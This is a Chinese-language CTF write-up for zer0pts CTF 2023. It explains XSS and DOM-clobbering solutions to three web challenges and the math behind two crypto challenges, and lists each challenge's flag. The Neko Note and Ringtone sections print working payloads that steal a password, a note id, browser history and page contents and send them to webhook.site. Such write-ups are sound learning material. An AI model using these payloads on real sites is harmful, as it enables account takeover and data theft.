zer0pts CTF 2023 Writeups

發表於
分類於 CTF

今年和 Balsn 一起打 zer0pts CTF,有解了些 Web 和 Crypto 的題目。

Web

Neko Note

關鍵部分的 code 在這段:

var linkPattern = regexp.MustCompile(`\[([0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[0-9a-f]{4}-[0-9a-f]{12})\]`)

// replace [(note ID)] to links
func replaceLinks(note string) string {
	return linkPattern.ReplaceAllStringFunc(note, func(s string) string {
		id := strings.Trim(s, "[]")

		note, ok := notes[id]
		if !ok {
			return s
		}

		title := html.EscapeString(note.Title)
		return fmt.Sprintf(
			"<a href=/note/%s title=%s>%s</a>", id, title, title,
		)
	})
}

// escape note to prevent XSS first, then replace newlines to <br> and render links
func renderNote(note string) string {
	note = html.EscapeString(note)
	note = strings.ReplaceAll(note, "\n", "<br>")
	note = replaceLinks(note)
	return note
}

其中 note 可控,而這段的內容會在前端使用 innerHTML 塞進去,所以要想辦法 XSS。這邊關鍵在於 html.EscapeString 只 escape 五個字元 < > & ' ",而它塞 a tag 的地方沒有 quote 起來,所以可以給 a 注入任意 attribute。

參考 XSS cheatsheet 可知有很多 attribute 可以用,但不需要 user interaction 的只有幾個而已。其中有一個是

<a id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></a>

但前端部分是需要 bot 按下按鈕之後才會觸發 innerHTML 的 assignment,所以這個無法觸發。不過後來發現其實用 onmouseover 或是 onpointerover 之類的 event 就行了,因為 await page.click('button'); 似乎是直接抓 element 的 x, y 座標,然後點下去之後就不再移動 (至少 playwright 是這樣),因此只要 a 元素夠大,和按鈕的部分有重疊就能觸發。因此 x onmouseover=alert(origin) 即可 XSS。

這樣雖然已經可以取得 flag note 的 id,但還沒有密碼。這部分需要看 bot 的 code:

// post a note that has the flag
await page.goto(`${BASE_URL}/`);

await page.type('#title', 'Flag');
await page.type('#body', `The flag is: ${FLAG}`);
const password = crypto.randomBytes(64).toString('base64');
await page.type('#password', password);

await page.click('#submit');

// let's check the reported note
await page.goto(`${BASE_URL}/note/${id}`);
if (await page.$('input') != null) {
	// the note is locked, so use master key to unlock
	await page.type('input', MASTER_KEY);
	await page.click('button');

	// just in case there is a vuln like XSS, delete the password to prevent it from being stolen
	const len = (await page.$eval('input', el => el.value)).length;
	await page.focus('input');
	for (let i = 0; i < len; i++) {
		await page.keyboard.press('Backspace');
	}
}

// it's ready now. click "Show the note" button
await page.click('button');

// done!
await wait(1000);

簡單來說 bot 只要檢測到 note 被鎖住,就會用 master key 解鎖,然後把密碼刪掉。而我們的 XSS 會在最下面那個 await page.click('button'); 之後才會觸發,所以這時候 master key 已經被刪掉了。

這邊的技巧是透過 document.execCommand('undo') 把密碼還原回來,之後再從 DOM 中抓密碼就有了。

完整 payload:

xxxxxxxxxxxxxxxxxxxx onmouseover=document.execCommand(`undo`);pwd=document.querySelector(`input`).value;id=JSON.parse(localStorage.getItem(`neko-note-history`))[0].id;location=`https://webhook.site/9a5f00d1-194c-46af-b09a-b488a79d2787?id=`+id+`&pwd=`+pwd

Flag: zer0pts{neko_no_te_mo_karitai_m8jYx9WiTDY}

ScoreShare

這題看起來是 dom clobbering 的題目,不過有個很大的 unintended solution XDDD。關鍵在這邊:

@app.route("/api/score/<sid>")
def api_score(sid: str):
    abc = db().hget(sid, 'abc')
    if abc is None:
        return flask.abort(404)
    else:
        return flask.Response(abc)

這邊 abc 內容是完全可控的,然後網站也有 CSP script-src 'self'。所以這邊就先建一個 score 讓內容為 js fetch(...) 之類的,然後再建另一個 score 讓用 html <script src=/api/score/...></script> 引入就能不管 CSP 直接 XSS 了。

Flag: zer0pts{<iframe>_1s_a_s7r0ng_t00l_f0r_D0M_cl0bb3r1ng}

Ringtone

有個網站幾乎沒做什麼事,除了有個靜態頁面以外就只有一個隱藏的 flag route 而已。主要部分都在 chrome extension 的部分。

它有個 content script:

var form=document.getElementById("ring-form");
form.addEventListener("submit",
async (evt)=>{
    evt.preventDefault();
    var val=form.elements["message"].value;
    console.log(val)
    const response = await chrome.runtime.sendMessage({play:"play"})
    if(response.text=="played successfully"){
        console.log("yattaa")
    }
}
)

chrome.runtime.onMessage.addListener(function (msg, sender, sendResponse) {
    if (msg.text === 'report_back') {
        console.log("msg received")
        if(users.privileged.dataset.admin){
            sendResponse(users.privileged.dataset.admin)
        }
    }
});

而那個 chrome extension 本身還有個 index.html 引入了這個 js:

function evalCode(code) {
    const script = document.createElement('script');
    script.src = '/?code=' +code;
    document.documentElement.appendChild(script);
  }
  chrome.tabs.onUpdated.addListener(function (tabId,tab) {
          console.log(tabId)
          chrome.tabs.sendMessage(tabId, {text: 'report_back'}).then((resp)=>{        
                  evalCode(resp)
          })
      });

而那個 /?code= 的部分則透過 background script 去處理,基本上就事直接 echo:

const prefix = location.origin + '/?code=';
self.onfetch= e => {
  if (e.clientId && e.request.url.startsWith(prefix)) {
    e.respondWith(new Response(e.request.url.slice(prefix.length), {
      headers: { 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8' },
    }));
  }
};

而 bot 一開始會開四個頁面,包含網站首頁、插件的 index.html、flag 頁面和你所 submit 的 url。而 chrome.tabs.onUpdated 在有新分頁開啟時會觸發,所以在這個場景是自動觸發的,因此它會讓 content script 嘗試去讀取 users.privileged.dataset.admin,然後送回去 index.html 頁面 eval。

同時那個靜態頁面上也有 document.getElementById("msg").innerHTML=DOMPurify.sanitize(inp,options),所以可以用 dom clobbering 去改 users.privileged.dataset.admin 的值:

<div id="users"></div>
<div id="privileged" data-admin="alert(1)"></div>

然後現在相當於有 chrome extension 環境的任意 code 執行了,而 manifest 有 "permissions":["history","activeTab","tabs"],因此可以直接讀 history 找到 flag 頁面的 url。

具體要執行的 js 不能有空白,弄一弄會變成這樣:

chrome.history.search({text:``},function(hist){u=`https://webhook.site/f71604a4-fc9b-4c99-9e0f-366529a29ac7`;navigator.sendBeacon(u,JSON.stringify(hist,null,2));for(let{url}of[hist][0]){fetch(url).then(function(r){return[r.text()][0]}).then(function(t){navigator.sendBeacon(u,t)})}})

全部串起來變成:

http://ringtone.2023.zer0pts.com:8505/?message=%3Cdiv%20id=users%3Ea%3C/div%3E%3Cdiv%20id=users%20name=privileged%20data-admin=%22chrome.history.search({text:``},function(hist){u=`https://webhook.site/f71604a4-fc9b-4c99-9e0f-366529a29ac7`;navigator.sendBeacon(u,JSON.stringify(hist,null,2));for(let{url}of[hist][0]){fetch(url).then(function(r){return[r.text()][0]}).then(function(t){navigator.sendBeacon(u,t)})}})%22%3Ea%3C/div%3E

Flag: zer0pts{extensions_are_really_muzukashi}

Crypto

*easy_factoring

隊友解的,後來自己再做一次

給予 N=p2+q2N=p^2+q^2,求 p,qp,q 兩質數,大概都 128 bits。

關鍵是注意到 p2+q2=(p+iq)(piq)p^2+q^2=(p+iq)(p-iq),所以在 Gaussian integers 上分解後求所有的 divisors 就能找到 p+iqp+iq 形式的,也就有解了。

p = random_prime(1 << 128)
q = random_prime(1 << 128)
n = p * q
N = pow(p, 2) + pow(q, 2)
zn = ZZ[i](N)
for d in divisors(ZZ[i](N)):
    pp, qq = map(int, d)
    if is_prime(pp) and is_prime(qq):
        print("yes", pp, qq)

moduhash

import os

flag = os.environb.get(b"FLAG", b"dummmmy{test_test_test}")

def S(z):
	return -1/z

def T(z):
	return z + 1

def gen_random_hash(n):
	r = bytes([getrandbits(8) for _ in range(0, n)])
	return r

def to_hash(st):
	res = ""
	for s in st:
		sts = bin(s)[2:].zfill(8)
		for x in sts:
			if x == "0":
				res += "S"
			else:
				res += "T"
	return res

def hash(z, h):
	res = z
	for s in h:
		if s == "S":
			res = S(res)
		elif s == "T":
			res = T(res)
		else:
			exit()
	return res

def hash_eq(h1, h2, CC):
	for _ in range(100):
		zr = CC.random_element()
		h1zr = hash(zr, h1)
		h2zr = hash(zr, h2)
		if abs(h1zr - h2zr) > 1e-15:
			return False
	return True

CC = ComplexField(256)
for _ in range(100):
	n = randint(32, 64)
	h1 = to_hash(gen_random_hash(n))

	zi = CC.random_element()
	print(f"zi	: {zi}")
	print(f"h1(zi): {hash(zi, h1)}")

	h2 = input("your hash> ")

	if not hash_eq(h1, h2, CC):
		print("your hash is incorrect")
		exit()

print(flag)

這題會先生成一個由 ST 組成的字串,然後 hash 函數會接收那個字串和一個複數 zz,然後根據字串裡的 STzz 反覆套用 SSTT 函數後回傳。其中 S(z)=1/z,T(z)=z+1S(z)=-1/z, T(z)=z+1

目標是它會給你一個輸入和輸出,要找出另一個字串可以對任何複數套用那個 hash 都能有一樣的結果。

查了一下知道這個東西是 Modular group,就是一堆

xax+bcx+dx \rightarrow \frac{ax+b}{cx+d}

組合合成的一個群,其中 adbc=1ad-bc=1,也同時能寫成矩陣形式:

[abcd]\begin{bmatrix} a & b \\ c & d \end{bmatrix}

而在它的 Group-theoretic properties 就能看到上面的那兩個 S(z),T(z)S(z), T(z) transform,而據它所說整個 modular group 都能由這兩個所生成。而 zih1(zi) 中間所經過的操作是一堆的 S(z),T(z)S(z), T(z),所以可知 h1h_1 應該可以用某個長這個形式的函數表達出來:

h1(z)=az+bcz+dh_1(z) = \frac{az+b}{cz+d}

所以有 azi+b=(czi+d)h1(zi)az_i+b=(cz_i+d)h_1(z_i),然後用 LLL 可求一個夠小的 a,b,c,da,b,c,d 出來。因此現在的問題是怎麼把

M=[abcd]M= \begin{bmatrix} a & b \\ c & d \end{bmatrix}

拆成很多 S,TS, T 的乘積,其中

S=[0110]S= \begin{bmatrix} 0 & -1 \\ 1 & 0 \end{bmatrix} T=[1101]T= \begin{bmatrix} 1 & 1 \\ 0 & 1 \end{bmatrix}

這邊我是參考 Decomposition of modular group elements 寫了一個演算法出來,不過遇到的一個小問題是它裡面的 qq 不一定為正數,但字串的表達形式卻要求他一定要為正,所以只好自己小改了些東西才行。

from pwn import process, remote, context

CC = ComplexField(256)


def find(z, zz):
    # (az+b)/(cz+d)=zz
    # az+b=zz(cz+d)=c*z*zz+d*zz
    zzz = z * zz
    L = matrix(
        QQ,
        [
            [z.real(), z.imag(), 1, 0, 0, 0],
            [1, 0, 0, 1, 0, 0],
            [-zzz.real(), -zzz.imag(), 0, 0, 1, 0],
            [-zz.real(), -zz.imag(), 0, 0, 0, 1],
        ],
    )
    L[:, :2] *= 2**256
    L = L.LLL()
    return L[0][2:]


def positive_mod(x, y):
    r = x % y
    if r < 0:
        r -= y
    return r


def decompose(a, b, c, d):
    M = matrix(ZZ, [[a, b], [c, d]])
    S = matrix(ZZ, [[0, -1], [1, 0]])
    T = matrix(ZZ, [[1, 1], [0, 1]])

    M0 = M
    res = []
    res_s = ""
    for _ in range(200):
        # print(M)
        if M[0, 0] == 0 or M[1, 0] == 0:
            break
        while abs(M[1, 0]) > abs(M[0, 0]):
            M = ~S * M
            res.append(S)
            res_s += "S"
        while sign(M[0, 0]) != sign(M[1, 0]):
            M = ~S * M
            res.append(S)
            res_s += "S"
        a = M[0, 0]
        c = M[1, 0]
        r = positive_mod(a, c)
        q = (a - r) // c
        # print(a, c)
        # print(r, q)
        # print()
        M = T ^ (-q) * M
        res.append(T ^ q)
        assert q >= 0, ":("
        res_s += "T" * int(q)

    assert prod(res) * M == M0
    return res, res_s[::-1]


# io = process(["sage", "server.sage"])
io = remote("crypto.2023.zer0pts.com", int(10444))

for i in range(100):
    io.recvuntil(b"zi\t: ")
    zi = CC(io.recvlineS().strip())
    io.recvuntil(b"h1(zi): ")
    h1zi = CC(io.recvlineS().strip())
    print(i, zi, h1zi)
    a, b, c, d = find(zi, h1zi)
    _, h2 = decompose(a, b, c, d)
    print(h2)
    io.sendlineafter(b"your hash> ", h2)
io.interactive()
# zer0pts{Th3_m0dul4r_gr0up_1s_g3n3r4t3d_by_4cti0ns_S_T}